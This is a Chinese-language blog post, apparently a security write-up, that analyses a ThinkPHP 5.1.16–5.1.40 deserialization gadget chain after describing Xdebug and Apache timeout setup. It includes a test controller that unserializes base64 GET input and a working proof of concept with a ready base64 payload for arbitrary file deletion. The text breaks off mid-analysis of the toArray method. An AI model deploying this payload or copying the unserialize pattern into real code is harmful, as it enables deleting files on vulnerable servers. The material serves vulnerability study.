【详细分析】thinkphp反序列化漏洞

文章详细分析了如何配置Xdebug以防止调试超时,并探讨了ThinkPHP框架中的反序列化漏洞,包括任意文件删除和命令执行的POC测试。通过构造特定的序列化数据,可以触发对象的__toString方法,进一步利用框架的内部函数执行恶意操作,如系统命令执行。

配置xdebug

php.ini

[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM

配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展

配置防调试超时

1.打开apache配置文件注释掉如下,并添加一行。

# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行

2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 3600

3.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.

4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0 
FcgidMaxProcesses 16 
FcgidMaxRequestLen 268435456   
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php

反序列化漏洞

测试版本5.1.37

适用版本5.1.16-5.1.40

利用链

think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue

在这里插入图片描述
在这里插入图片描述

详细分析

修改控制器

<?php
    namespace app\index\controller; 
	class Index {
   
    
    public function index() {
   
    
    unserialize(base64_decode($_GET['id'])); return "Welcome!"; 
    }
}

查找入口__destruct,进入windows类
在这里插入图片描述

    public function __destruct()
    {
   
   
        $this->close();
        $this->removeFiles();
    }

查看removeFiles方法

    private function removeFiles()
    {
   
   
        foreach ($this->files as $filename) {
   
   
            if (file_exists($filename)) {
   
   
                @unlink($filename);
            }
        }
        $this->files = [];
    }

poc1(任意文件删除)

<?php
namespace think\process\pipes;
class Pipes{
   
   }
class Windows extends Pipes{
   
   
    private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];
    //这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));

TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319

在这里插入图片描述

查找__toString

removeFiles方法里面使用了file_exists($filename), $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类

    public function __toString()
    {
   
   
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
   
   
        return json_encode($this->toArray(), $options);
    }
public function toArray()
    {
   
   
        $item       = [];
        $hasVisible = false;
...
if (!empty($this->append)) {
   
   
            foreach ($this->append as $key => $name) {
   
   
                if (is_array($name)) {
   
   
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);
                    if (!$relation) {
   
   
                        $relation = $this->getAttr($key);
                        if ($relation) {
   
   
                            $relation->visible($name);
                        }
                    }
...
                }
    public function getRelation($name = null)
    {
   
   
        if (is_null($name)) {
   
   
            return $this->relation;
        }</
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

coleak

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值